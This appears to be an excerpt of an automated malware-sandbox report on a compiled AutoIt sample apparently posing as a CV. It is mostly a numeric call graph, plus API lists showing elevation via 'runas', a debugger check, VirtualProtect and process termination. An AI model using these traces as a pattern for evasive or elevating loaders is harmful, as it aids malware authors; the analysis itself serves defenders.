94770->94771 94772 5944ed 64 API calls 94771->94772 94775 5dc13c 94772->94775 94773->94677 94777 5b1dfc __wsplitpath 47 API calls 94774->94777 94776 5944ed 64 API calls 94775->94776 94778 5dc157 94776->94778 94777->94782 94779 5944ed 64 API calls 94778->94779 94780 5dc167 94779->94780 94781 5944ed 64 API calls 94780->94781 94783 5dc182 94781->94783 94782->94770 94782->94773 94784 5944ed 64 API calls 94783->94784 94785 5dc192 94784->94785 94786 5944ed 64 API calls 94785->94786 94787 5dc1a2 94786->94787 94788 5944ed 64 API calls 94787->94788 94789 5dc1b2 94788->94789 94807 5dc71a GetTempPathW GetTempFileNameW 94789->94807 94791 5dc1be 94792 5b3499 117 API calls 94791->94792 94794 5dc1cf 94792->94794 94794->94773 94796 5944ed 64 API calls 94794->94796 94803 5dc289 94794->94803 94796->94794 94804->94640 94805->94661 94806->94668 94807->94791 94843->94700 94844->94685 94845->94692 94846->94697 94847->94701 94848->94712 94849->94714 94850->94718 94852 59bd3f 94851->94852 94855 59bd5a 94851->94855 94853 59bdfa 48 API calls 94852->94853 94854 59bd47 CharUpperBuffW 94853->94854 94854->94855 94855->94490 94857 592b8b 94856->94857 94858 60436a 94856->94858 94859 5af4ea 48 API calls 94857->94859 94860 592b92 94859->94860 94861 592bb3 94860->94861 94887 592bce 48 API calls 94860->94887 94861->94506 94863->94501 94864->94559 94865->94497 94866->94497 94867->94497 94868->94494 94869->94501 94870->94559 94871->94541 94872->94541 94873->94547 94874->94559 94875->94524 94876->94559 94877->94559 94878->94559 94879->94497 94880->94497 94881->94497 94882->94497 94883->94559 94884->94545 94885->94498 94886->94559 94887->94861 94888->94600 94889->94600 94890->94599 94891->94599 94892->94591 94893->94585 94894->94601 94896 59513f __NMSG_WRITE 94895->94896 94897 601b27 94896->94897 94898 595151 94896->94898 94899 596b4a 48 API calls 94897->94899 94900 59bb85 48 API calls 94898->94900 94901 601b34 94899->94901 94902 59515e ___crtGetEnvironmentStringsW 94900->94902 94903 5aee75 48 API calls 94901->94903 94902->93401 94904 601b57 ___crtGetEnvironmentStringsW 94903->94904 94906 59b392 94905->94906 94907 59b3c5 ___crtGetEnvironmentStringsW 94905->94907 94906->94907 94908 59b3b8 94906->94908 94909 59b3fd 94906->94909 94907->93410 94907->94907 94910 59bb85 48 API calls 94908->94910 94911 5af4ea 48 API calls 94909->94911 94910->94907 94912 59b407 94911->94912 94913 5af4ea 48 API calls 94912->94913 94913->94907 94914->93411 94915 13f4e18 94929 13f2a68 94915->94929 94917 13f4ef5 94932 13f4d08 94917->94932 94935 13f5f18 GetPEB 94929->94935 94931 13f30f3 94931->94917 94933 13f4d11 Sleep 94932->94933 94934 13f4d1f 94933->94934 94936 13f5f42 94935->94936 94936->94931 94937 608eb8 94941 5da635 94937->94941 94939 608ec3 94940 5da635 84 API calls 94939->94940 94940->94939 94946 5da642 94941->94946 94951 5da66f 94941->94951 94942 5da671 94953 5aec4e 81 API calls 94942->94953 94944 5da676 94945 59936c 81 API calls 94944->94945 94947 5da67d 94945->94947 94946->94942 94946->94944 94949 5da669 94946->94949 94946->94951 94948 59510d 48 API calls 94947->94948 94948->94951 94952 5a4525 61 API calls ___crtGetEnvironmentStringsW 94949->94952 94951->94939 94952->94951 94953->94944 94954 5dbb64 94955 5dbb77 94954->94955 94956 5dbb71 94954->94956 94957 5dbb88 94955->94957 94959 5b1c9d _free 47 API calls 94955->94959 94958 5b1c9d _free 47 API calls 94956->94958 94960 5dbb9a 94957->94960 94961 5b1c9d _free 47 API calls 94957->94961 94958->94955 94959->94957 94961->94960 94962 6019ba 94967 5ac75a 94962->94967 94966 6019c9 94968 59d7f7 48 API calls 94967->94968 94969 5ac7c8 94968->94969 94975 5ad26c 94969->94975 94971 5ac865 94973 5ac881 94971->94973 94978 5ad1fa 48 API calls ___crtGetEnvironmentStringsW 94971->94978 94974 5b0f0a 52 API calls __cinit 94973->94974 94974->94966 94979 5ad298 94975->94979 94978->94971 94980 5ad28b 94979->94980 94981 5ad2a5 94979->94981 94980->94971 94981->94980 94982 5ad2ac RegOpenKeyExW 94981->94982 94982->94980 94983 5ad2c6 RegQueryValueExW 94982->94983 94984 5ad2fc RegCloseKey 94983->94984 94985 5ad2e7 94983->94985 94984->94980 94985->94984 94986 593742 94987 59374b 94986->94987 94988 593769 94987->94988 94989 5937c8 94987->94989 95026 5937c6 94987->95026 94993 59382c PostQuitMessage 94988->94993 94994 593776 94988->94994 94991 601e00 94989->94991 94992 5937ce 94989->94992 94990 5937ab DefWindowProcW 95028 5937b9 94990->95028 95035 592ff6 16 API calls 94991->95035 94995 5937d3 94992->94995 94996 5937f6 SetTimer RegisterWindowMessageW 94992->94996 94993->95028 94998 601e88 94994->94998 94999 593781 94994->94999 95000 601da3 94995->95000 95001 5937da KillTimer 94995->95001 95003 59381f CreatePopupMenu 94996->95003 94996->95028 95041 5d4ddd 60 API calls _memset 94998->95041 95004 593789 94999->95004 95005 593836 94999->95005 95007 601da8 95000->95007 95008 601ddc MoveWindow 95000->95008 95031 593847 Shell_NotifyIconW _memset 95001->95031 95002 601e27 95036 5ae312 331 API calls Mailbox 95002->95036 95003->95028 95011 601e6d 95004->95011 95012 593794 95004->95012 95033 5aeb83 53 API calls _memset 95005->95033 95016 601dcb SetFocus 95007->95016 95017 601dac 95007->95017 95008->95028 95011->94990 95040 5ca5f3 48 API calls 95011->95040 95019 59379f 95012->95019 95020 601e58 95012->95020 95013 601e9a 95013->94990 95013->95028 95015 593845 95015->95028 95016->95028 95017->95019 95021 601db5 95017->95021 95018 5937ed 95032 59390f DeleteObject DestroyWindow Mailbox 95018->95032 95019->94990 95037 593847 Shell_NotifyIconW _memset 95019->95037 95039 5d55bd 70 API calls _memset 95020->95039 95034 592ff6 16 API calls 95021->95034 95026->94990 95029 601e4c 95038 594ffc 67 API calls _memset 95029->95038 95031->95018 95032->95028 95033->95015 95034->95028 95035->95002 95036->95019 95037->95029 95038->95026 95039->95015 95040->95026 95041->95013 95042 60197b 95047 5add94 95042->95047 95046 60198a 95048 5af4ea 48 API calls 95047->95048 95049 5add9c 95048->95049 95050 5addb0 95049->95050 95055 5adf3d 95049->95055 95054 5b0f0a 52 API calls __cinit 95050->95054 95054->95046 95056 5adf46 95055->95056 95058 5adda8 95055->95058 95087 5b0f0a 52 API calls __cinit 95056->95087 95059 5addc0 95058->95059 95060 59d7f7 48 API calls 95059->95060 95061 5addd7 GetVersionExW 95060->95061 95062 596a63 48 API calls 95061->95062 95063 5ade1a 95062->95063 95088 5adfb4 95063->95088 95066 596571 48 API calls 95069 5ade2e 95066->95069 95067 6024c8 95069->95067 95092 5adf77 95069->95092 95071 5adebb 95073 5adee3 95071->95073 95074 5adf31 GetSystemInfo 95071->95074 95072 5adea4 GetCurrentProcess 95101 5adf5f LoadLibraryA GetProcAddress 95072->95101 95095 5ae00c 95073->95095 95077 5adf0e 95074->95077 95079 5adf1c FreeLibrary 95077->95079 95080 5adf21 95077->95080 95079->95080 95080->95050 95081 5adf29 GetSystemInfo 95084 5adf03 95081->95084 95082 5adef9 95098 5adff4 95082->95098 95084->95077 95086 5adf09 FreeLibrary 95084->95086 95086->95077 95087->95058 95089 5adfbd 95088->95089 95090 59b18b 48 API calls 95089->95090 95091 5ade22 95090->95091 95091->95066 95102 5adf89 95092->95102 95106 5ae01e 95095->95106 95099 5ae00c 2 API calls 95098->95099 95100 5adf01 GetNativeSystemInfo 95099->95100 95100->95084 95101->95071 95103 5adea0 95102->95103 95104 5adf92 LoadLibraryA 95102->95104 95103->95071 95103->95072 95104->95103 95105 5adfa3 GetProcAddress 95104->95105 95105->95103 95107 5adef1 95106->95107 95108 5ae027 LoadLibraryA 95106->95108 95107->95081 95107->95082 95108->95107 95109 5ae038 GetProcAddress 95108->95109 95109->95107 95110 6019cb 95115 592322 95110->95115 95112 6019d1 95148 5b0f0a 52 API calls __cinit 95112->95148 95114 6019db 95116 592344 95115->95116 95149 5926df 95116->95149 95121 59d7f7 48 API calls 95122 592384 95121->95122 95123 59d7f7 48 API calls 95122->95123 95124 59238e 95123->95124 95125 59d7f7 48 API calls 95124->95125 95126 592398 95125->95126 95127 59d7f7 48 API calls 95126->95127 95128 5923de 95127->95128 95129 59d7f7 48 API calls 95128->95129 95130 5924c1 95129->95130 95157 59263f 95130->95157 95134 5924f1 95135 59d7f7 48 API calls 95134->95135 95136 5924fb 95135->95136 95186 592745 95136->95186 95138 592546 95139 592556 GetStdHandle 95138->95139 95140 5925b1 95139->95140 95141 60501d 95139->95141 95142 5925b7 CoInitialize 95140->95142 95141->95140 95143 605026 95141->95143 95142->95112 95193 5d92d4 53 API calls 95143->95193 95145 60502d 95194 5d99f9 CreateThread 95145->95194 95147 605039 CloseHandle 95147->95142 95148->95114 95195 592854 95149->95195 95152 596a63 48 API calls 95153 59234a 95152->95153 95154 59272e 95153->95154 95209 5927ec 6 API calls 95154->95209 95156 59237a 95156->95121 95158 59d7f7 48 API calls 95157->95158 95159 59264f 95158->95159 95160 59d7f7 48 API calls 95159->95160 95161 592657 95160->95161 95210 5926a7 95161->95210 95164 5926a7 48 API calls 95165 592667 95164->95165 95166 59d7f7 48 API calls 95165->95166 95167 592672 95166->95167 95168 5af4ea 48 API calls 95167->95168 95169 5924cb 95168->95169 95170 5922a4 95169->95170 95171 5922b2 95170->95171 95172 59d7f7 48 API calls 95171->95172 95173 5922bd 95172->95173 95174 59d7f7 48 API calls 95173->95174 95175 5922c8 95174->95175 95176 59d7f7 48 API calls 95175->95176 95177 5922d3 95176->95177 95178 59d7f7 48 API calls 95177->95178 95179 5922de 95178->95179 95180 5926a7 48 API calls 95179->95180 95181 5922e9 95180->95181 95182 5af4ea 48 API calls 95181->95182 95183 5922f0 95182->95183 95184 5922f9 RegisterWindowMessageW 95183->95184 95185 601fe7 95183->95185 95184->95134 95187 592755 95186->95187 95188 605f4d 95186->95188 95190 5af4ea 48 API calls 95187->95190 95215 5dc942 50 API calls 95188->95215 95192 59275d 95190->95192 95191 605f58 95192->95138 95193->95145 95194->95147 95216 5d99df 54 API calls 95194->95216 95202 592870 95195->95202 95198 592870 48 API calls 95199 592864 95198->95199 95200 59d7f7 48 API calls 95199->95200 95201 592716 95200->95201 95201->95152 95203 59d7f7 48 API calls 95202->95203 95204 59287b 95203->95204 95205 59d7f7 48 API calls 95204->95205 95206 592883 95205->95206 95207 59d7f7 48 API calls 95206->95207 95208 59285c 95207->95208 95208->95198 95209->95156 95211 59d7f7 48 API calls 95210->95211 95212 5926b0 95211->95212 95213 59d7f7 48 API calls 95212->95213 95214 59265f 95213->95214 95214->95164 95215->95191 95217 609bec 95220 5a0ae0 Mailbox ___crtGetEnvironmentStringsW 95217->95220 95218 59ffe1 Mailbox 95220->95218 95242 59ce19 48 API calls 95220->95242 95248 59fec8 95220->95248 95249 5ee822 331 API calls 95220->95249 95251 59fe30 331 API calls 95220->95251 95252 60a706 95220->95252 95254 5a1526 Mailbox 95220->95254 95255 5af4ea 48 API calls 95220->95255 95256 5c97ed InterlockedDecrement 95220->95256 95260 5f0d09 95220->95260 95263 5db55b 95220->95263 95267 5f0d1d 95220->95267 95270 5ef0ac 95220->95270 95302 5da6ef 95220->95302 95310 5eef61 82 API calls 2 library calls 95220->95310 95223 5af4ea 48 API calls 95223->95248 95226 5a1473 95315 5dcc5c 86 API calls 4 library calls 95226->95315 95228 5a146e 95233 596eed 48 API calls 95228->95233 95229 5a0509 95316 5dcc5c 86 API calls 4 library calls 95229->95316 95230 60a922 95231 60a246 95235 596eed 48 API calls 95231->95235 95233->95218 95235->95218 95237 596eed 48 API calls 95237->95248 95238 60a873 95239 60a30e 95239->95218 95311 5c97ed InterlockedDecrement 95239->95311 95240 5c97ed InterlockedDecrement 95240->95248 95241 59d7f7 48 API calls 95241->95248 95242->95220 95244 60a973 95317 5dcc5c 86 API calls 4 library calls 95244->95317 95245 5b0f0a 52 API calls __cinit 95245->95248 95247 60a982 95248->95218 95248->95223 95248->95226 95248->95228 95248->95229 95248->95231 95248->95237 95248->95239 95248->95240 95248->95241 95248->95244 95248->95245 95250 5a15b5 95248->95250 95308 5a1820 331 API calls 2 library calls 95248->95308 95309 5a1d10 59 API calls Mailbox 95248->95309 95249->95220 95314 5dcc5c 86 API calls 4 library calls 95250->95314 95251->95220 95312 5dcc5c 86 API calls 4 library calls 95252->95312 95313 5dcc5c 86 API calls 4 library calls 95254->95313 95255->95220 95256->95220 95318 5ef8ae 95260->95318 95262 5f0d19 95262->95220 95264 5db569 95263->95264 95265 5db564 95263->95265 95264->95220 95404 5da4d5 95265->95404 95268 5ef8ae 129 API calls 95267->95268 95269 5f0d2d 95268->95269 95269->95220 95271 59d7f7 48 API calls 95270->95271 95272 5ef0c0 95271->95272 95273 59d7f7 48 API calls 95272->95273 95274 5ef0c8 95273->95274 95275 59d7f7 48 API calls 95274->95275 95276 5ef0d0 95275->95276 95277 59936c 81 API calls 95276->95277 95301 5ef0de 95277->95301 95278 596a63 48 API calls 95278->95301 95279 5ef2cc 95280 5ef2f9 Mailbox 95279->95280 95427 596b68 48 API calls 95279->95427 95280->95220 95282 5ef2b3 95284 59518c 48 API calls 95282->95284 95283 596eed 48 API calls 95283->95301 95286 5ef2c0 95284->95286 95285 5ef2ce 95288 59518c 48 API calls 95285->95288 95290 59510d 48 API calls 95286->95290 95287 59c799 48 API calls 95287->95301 95291 5ef2dd 95288->95291 95289 59bdfa 48 API calls 95293 5ef175 CharUpperBuffW 95289->95293 95290->95279 95294 59510d 48 API calls 95291->95294 95292 59bdfa 48 API calls 95295 5ef23a CharUpperBuffW 95292->95295 95296 59d645 53 API calls 95293->95296 95294->95279 95426 5ad922 55 API calls 2 library calls 95295->95426 95296->95301 95298 59936c 81 API calls 95298->95301 95299 59518c 48 API calls 95299->95301 95300 59510d 48 API calls 95300->95301 95301->95278 95301->95279 95301->95280 95301->95282 95301->95283 95301->95285 95301->95287 95301->95289 95301->95292 95301->95298 95301->95299 95301->95300 95303 5da6fb 95302->95303 95304 5af4ea 48 API calls 95303->95304 95305 5da709 95304->95305 95306 5da717 95305->95306 95307 59d7f7 48 API calls 95305->95307 95306->95220 95307->95306 95308->95248 95309->95248 95310->95220 95311->95218 95312->95254 95313->95218 95314->95218 95315->95238 95316->95230 95317->95247 95319 59936c 81 API calls 95318->95319 95320 5ef8ea 95319->95320 95338 5ef92c Mailbox 95320->95338 95354 5f0567 95320->95354 95322 5efb8b 95323 5efcfa 95322->95323 95328 5efb95 95322->95328 95390 5f0688 89 API calls Mailbox 95323->95390 95326 5efd07 95326->95328 95329 5efd13 95326->95329 95327 5ef984 Mailbox 95327->95322 95330 59936c 81 API calls 95327->95330 95327->95338 95385 5f29e8 48 API calls ___crtGetEnvironmentStringsW 95327->95385 95386 5efda5 60 API calls 2 library calls 95327->95386 95367 5ef70a 95328->95367 95329->95338 95330->95327 95335 5efbc9 95381 5aed18 95335->95381 95338->95262 95339 5efbfd 95342 5ac050 48 API calls 95339->95342 95340 5efbe3 95387 5dcc5c 86 API calls 4 library calls 95340->95387 95344 5efc14 95342->95344 95343 5efbee GetCurrentProcess TerminateProcess 95343->95339 95345 5a1b90 48 API calls 95344->95345 95353 5efc3e 95344->95353 95347 5efc2d 95345->95347 95346 5efd65 95346->95338 95350 5efd7e FreeLibrary 95346->95350 95388 5f040f 105 API calls _free 95347->95388 95348 5a1b90 48 API calls 95348->95353 95350->95338 95353->95346 95353->95348 95389 59dcae 50 API calls Mailbox 95353->95389 95391 5f040f 105 API calls _free 95353->95391 95355 59bdfa 48 API calls 95354->95355 95356 5f0582 CharLowerBuffW 95355->95356 95392 5d1f11 95356->95392 95360 59d7f7 48 API calls 95361 5f05bb 95360->95361 95399 5969e9 48 API calls ___crtGetEnvironmentStringsW 95361->95399 95363 5f05d2 95365 59b18b 48 API calls 95363->95365 95364 5f061a Mailbox 95364->95327 95366 5f05de Mailbox 95365->95366 95366->95364 95400 5efda5 60 API calls 2 library calls 95366->95400 95368 5ef725 95367->95368 95372 5ef77a 95367->95372 95369 5af4ea 48 API calls 95368->95369 95370 5ef747 95369->95370 95371 5af4ea 48 API calls 95370->95371 95370->95372 95371->95370 95373 5f0828 95372->95373 95374 5f0a53 Mailbox 95373->95374 95377 5f084b _strcat _wcscpy __NMSG_WRITE 95373->95377 95374->95335 95375 59cf93 58 API calls 95375->95377 95376 59d286 48 API calls 95376->95377 95377->95374 95377->95375 95377->95376 95378 5b395c 47 API calls std::exception::_Copy_str 95377->95378 95379 59936c 81 API calls 95377->95379 95403 5d8035 50 API calls __NMSG_WRITE 95377->95403 95378->95377 95379->95377 95382 5aed2d 95381->95382 95383 5aedc5 VirtualProtect 95382->95383 95384 5aed93 95382->95384 95383->95384 95384->95339 95384->95340 95385->95327 95386->95327 95387->95343 95388->95353 95389->95353 95390->95326 95391->95353 95393 5d1f3b __NMSG_WRITE 95392->95393 95394 5d1f79 95393->95394 95396 5d1f6f 95393->95396 95398 5d1ffa 95393->95398 95394->95360 95394->95366 95396->95394 95401 5ad37a 60 API calls 95396->95401 95398->95394 95402 5ad37a 60 API calls 95398->95402 95399->95363 95400->95364 95401->95396 95402->95398 95403->95377 95405 5da4ec 95404->95405 95418 5da5ee 95404->95418 95406 5da5d4 Mailbox 95405->95406 95408 5da58b 95405->95408 95411 5da4fd 95405->95411 95407 5af4ea 48 API calls 95406->95407 95410 5da54c Mailbox ___crtGetEnvironmentStringsW 95407->95410 95409 5af4ea 48 API calls 95408->95409 95409->95410 95414 5af4ea 48 API calls 95410->95414 95415 5af4ea 48 API calls 95411->95415 95422 5da51a 95411->95422 95412 5da555 95417 5af4ea 48 API calls 95412->95417 95413 5da545 95416 5af4ea 48 API calls 95413->95416 95414->95418 95415->95422 95416->95410 95419 5da55b 95417->95419 95418->95264 95424 5d9d2d 48 API calls 95419->95424 95421 5da567 95425 5ae65e 50 API calls 95421->95425 95422->95410 95422->95412 95422->95413 95424->95421 95425->95410 95426->95301 95427->95280 95428 6019dd 95433 594a30 95428->95433 95430 6019f1 95453 5b0f0a 52 API calls __cinit 95430->95453 95432 6019fb 95434 594a40 __ftell_nolock 95433->95434 95435 59d7f7 48 API calls 95434->95435 95436 594af6 95435->95436 95437 595374 50 API calls 95436->95437 95438 594aff 95437->95438 95454 59363c 95438->95454 95441 59518c 48 API calls 95442 594b18 95441->95442 95443 5964cf 48 API calls 95442->95443 95444 594b29 95443->95444 95445 59d7f7 48 API calls 95444->95445 95446 594b32 95445->95446 95460 5949fb 95446->95460 95448 594b43 Mailbox 95448->95430 95449 5961a6 48 API calls 95452 594b3d _wcscat Mailbox __NMSG_WRITE 95449->95452 95450 59ce19 48 API calls 95450->95452 95451 5964cf 48 API calls 95451->95452 95452->95448 95452->95449 95452->95450 95452->95451 95453->95432 95455 593649 __ftell_nolock 95454->95455 95474 59366c GetFullPathNameW 95455->95474 95457 59365a 95458 596a63 48 API calls 95457->95458 95459 593669 95458->95459 95459->95441 95476 59bcce 95460->95476 95463 594a2b 95463->95452 95464 6041cc RegQueryValueExW 95465 6041e5 95464->95465 95466 604246 RegCloseKey 95464->95466 95467 5af4ea 48 API calls 95465->95467 95468 6041fe 95467->95468 95469 5947b7 48 API calls 95468->95469 95470 604208 RegQueryValueExW 95469->95470 95471 604224 95470->95471 95472 60423b 95470->95472 95473 596a63 48 API calls 95471->95473 95472->95466 95473->95472 95475 59368a 95474->95475 95475->95457 95477 59bce8 95476->95477 95478 594a0a RegOpenKeyExW 95476->95478 95479 5af4ea 48 API calls 95477->95479 95478->95463 95478->95464 95480 59bcf2 95479->95480 95481 5aee75 48 API calls 95480->95481 95481->95478

                                                                          Executed Functions

                                                                          Function 005BB043 Relevance: 21.5, APIs: 14, Instructions: 537COMMONLIBRARYCODE
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 744 5bb043-5bb080 call 5bf8a0 747 5bb089-5bb08b 744->747 748 5bb082-5bb084 744->748 750 5bb08d-5bb0a7 call 5b7bda call 5b7c0e call 5b6e10 747->750 751 5bb0ac-5bb0d9 747->751 749 5bb860-5bb86c call 5ba70c 748->749 750->749 754 5bb0db-5bb0de 751->754 755 5bb0e0-5bb0e7 751->755 754->755 756 5bb10b-5bb110 754->756 757 5bb0e9-5bb100 call 5b7bda call 5b7c0e call 5b6e10 755->757 758 5bb105 755->758 762 5bb11f-5bb12d call 5c3bf2 756->762 763 5bb112-5bb11c call 5bf82f 756->763 790 5bb851-5bb854 757->790 758->756 773 5bb44b-5bb45d 762->773 774 5bb133-5bb145 762->774 763->762 778 5bb7b8-5bb7d5 WriteFile 773->778 779 5bb463-5bb473 773->779 774->773 777 5bb14b-5bb183 call 5b7a0d GetConsoleMode 774->777 777->773 796 5bb189-5bb18f 777->796 785 5bb7e1-5bb7e7 GetLastError 778->785 786 5bb7d7-5bb7df 778->786 782 5bb55a-5bb55f 779->782 783 5bb479-5bb484 779->783 792 5bb663-5bb66e 782->792 793 5bb565-5bb56e 782->793 788 5bb81b-5bb833 783->788 789 5bb48a-5bb49a 783->789 791 5bb7e9 785->791 786->791 798 5bb83e-5bb84e call 5b7c0e call 5b7bda 788->798 799 5bb835-5bb838 788->799 797 5bb4a0-5bb4a3 789->797 795 5bb85e-5bb85f 790->795 801 5bb7ef-5bb7f1 791->801 792->788 800 5bb674 792->800 793->788 794 5bb574 793->794 802 5bb57e-5bb595 794->802 795->749 803 5bb199-5bb1bc GetConsoleCP 796->803 804 5bb191-5bb193 796->804 805 5bb4e9-5bb520 WriteFile 797->805 806 5bb4a5-5bb4be 797->806 798->790 799->798 807 5bb83a-5bb83c 799->807 808 5bb67e-5bb693 800->808 810 5bb7f3-5bb7f5 801->810 811 5bb856-5bb85c 801->811 813 5bb59b-5bb59e 802->813 814 5bb1c2-5bb1ca 803->814 815 5bb440-5bb446 803->815 804->773 804->803 805->785 818 5bb526-5bb538 805->818 816 5bb4cb-5bb4e7 806->816 817 5bb4c0-5bb4ca 806->817 807->795 819 5bb699-5bb69b 808->819 810->788 812 5bb7f7-5bb7fc 810->812 811->795 821 5bb7fe-5bb810 call 5b7c0e call 5b7bda 812->821 822 5bb812-5bb819 call 5b7bed 812->822 823 5bb5de-5bb627 WriteFile 813->823 824 5bb5a0-5bb5b6 813->824 825 5bb1d4-5bb1d6 814->825 815->810 816->797 816->805 817->816 818->801 826 5bb53e-5bb54f 818->826 827 5bb6d8-5bb719 WideCharToMultiByte 819->827 828 5bb69d-5bb6b3 819->828 821->790 822->790 823->785 836 5bb62d-5bb645 823->836 833 5bb5b8-5bb5ca 824->833 834 5bb5cd-5bb5dc 824->834 837 5bb36b-5bb36e 825->837 838 5bb1dc-5bb1fe 825->838 826->789 839 5bb555 826->839 827->785 832 5bb71f-5bb721 827->832 840 5bb6c7-5bb6d6 828->840 841 5bb6b5-5bb6c4 828->841 845 5bb727-5bb75a WriteFile 832->845 833->834 834->813 834->823 836->801 847 5bb64b-5bb658 836->847 842 5bb370-5bb373 837->842 843 5bb375-5bb3a2 837->843 848 5bb200-5bb215 838->848 849 5bb217-5bb223 call 5b1688 838->849 839->801 840->819 840->827 841->840 842->843 850 5bb3a8-5bb3ab 842->850 843->850 852 5bb77a-5bb78e GetLastError 845->852 853 5bb75c-5bb776 845->853 847->802 854 5bb65e 847->854 855 5bb271-5bb283 call 5c40f7 848->855 868 5bb269-5bb26b 849->868 869 5bb225-5bb239 849->869 857 5bb3ad-5bb3b0 850->857 858 5bb3b2-5bb3c5 call 5c5884 850->858 862 5bb794-5bb796 852->862 853->845 860 5bb778 853->860 854->801 871 5bb289 855->871 872 5bb435-5bb43b 855->872 857->858 864 5bb407-5bb40a 857->864 858->785 878 5bb3cb-5bb3d5 858->878 860->862 862->791 867 5bb798-5bb7b0 862->867 864->825 874 5bb410 864->874 867->808 873 5bb7b6 867->873 868->855 875 5bb23f-5bb254 call 5c40f7 869->875 876 5bb412-5bb42d 869->876 879 5bb28f-5bb2c4 WideCharToMultiByte 871->879 872->791 873->801 874->872 875->872 884 5bb25a-5bb267 875->884 876->872 881 5bb3fb-5bb401 878->881 882 5bb3d7-5bb3ee call 5c5884 878->882 879->872 883 5bb2ca-5bb2f0 WriteFile 879->883 881->864 882->785 889 5bb3f4-5bb3f5 882->889 883->785 886 5bb2f6-5bb30e 883->886 884->879 886->872 888 5bb314-5bb31b 886->888 888->881 890 5bb321-5bb34c WriteFile 888->890 889->881 890->785 891 5bb352-5bb359 890->891 891->872 892 5bb35f-5bb366 891->892 892->881
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: e44d2eaff3e9edcf316b27064c7ddbd63a90c4441fb3478b77cb3214b7d310ef
                                                                          • Instruction ID: 416d5e7dd1dc112e1e1d0018234200a2d700e5bfb4b3323bd0c8095c8aee363b
                                                                          • Opcode Fuzzy Hash: e44d2eaff3e9edcf316b27064c7ddbd63a90c4441fb3478b77cb3214b7d310ef
                                                                          • Instruction Fuzzy Hash: 67325F75B022298FEB24CF54DC456E9BBB5FF46310F1841D9E40AA7A91D7B0AE80CF52
                                                                          Function 00593D19 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 151windowCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00593AA3,?), ref: 00593D45
                                                                          • IsDebuggerPresent.KERNEL32(?,?,?,?,00593AA3,?), ref: 00593D57
                                                                          • GetFullPathNameW.KERNEL32(00007FFF,?,?,00651148,00651130,?,?,?,?,00593AA3,?), ref: 00593DC8
                                                                            • Part of subcall function 00596430: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00593DEE,00651148,?,?,?,?,?,00593AA3,?), ref: 00596471
                                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,00593AA3,?), ref: 00593E48
                                                                          • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,006428F4,00000010), ref: 00601CCE
                                                                          • SetCurrentDirectoryW.KERNEL32(?,00651148,?,?,?,?,?,00593AA3,?), ref: 00601D06
                                                                          • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,0062DAB4,00651148,?,?,?,?,?,00593AA3,?), ref: 00601D89
                                                                          • ShellExecuteW.SHELL32(00000000,?,?,?,?,00593AA3), ref: 00601D90
                                                                            • Part of subcall function 00593E6E: GetSysColorBrush.USER32(0000000F), ref: 00593E79
                                                                            • Part of subcall function 00593E6E: LoadCursorW.USER32(00000000,00007F00), ref: 00593E88
                                                                            • Part of subcall function 00593E6E: LoadIconW.USER32(00000063), ref: 00593E9E
                                                                            • Part of subcall function 00593E6E: LoadIconW.USER32(000000A4), ref: 00593EB0
                                                                            • Part of subcall function 00593E6E: LoadIconW.USER32(000000A2), ref: 00593EC2
                                                                            • Part of subcall function 00593E6E: RegisterClassExW.USER32(?), ref: 00593F30
                                                                            • Part of subcall function 005936B8: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 005936E6
                                                                            • Part of subcall function 005936B8: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00593707
                                                                            • Part of subcall function 005936B8: ShowWindow.USER32(00000000,?,?,?,?,00593AA3,?), ref: 0059371B
                                                                            • Part of subcall function 005936B8: ShowWindow.USER32(00000000,?,?,?,?,00593AA3,?), ref: 00593724
                                                                            • Part of subcall function 00594FFC: _memset.LIBCMT ref: 00595022
                                                                            • Part of subcall function 00594FFC: Shell_NotifyIconW.SHELL32(00000000,?), ref: 005950CB
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$IconLoad$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
                                                                          • String ID: ()d$This is a third-party compiled AutoIt script.$runas
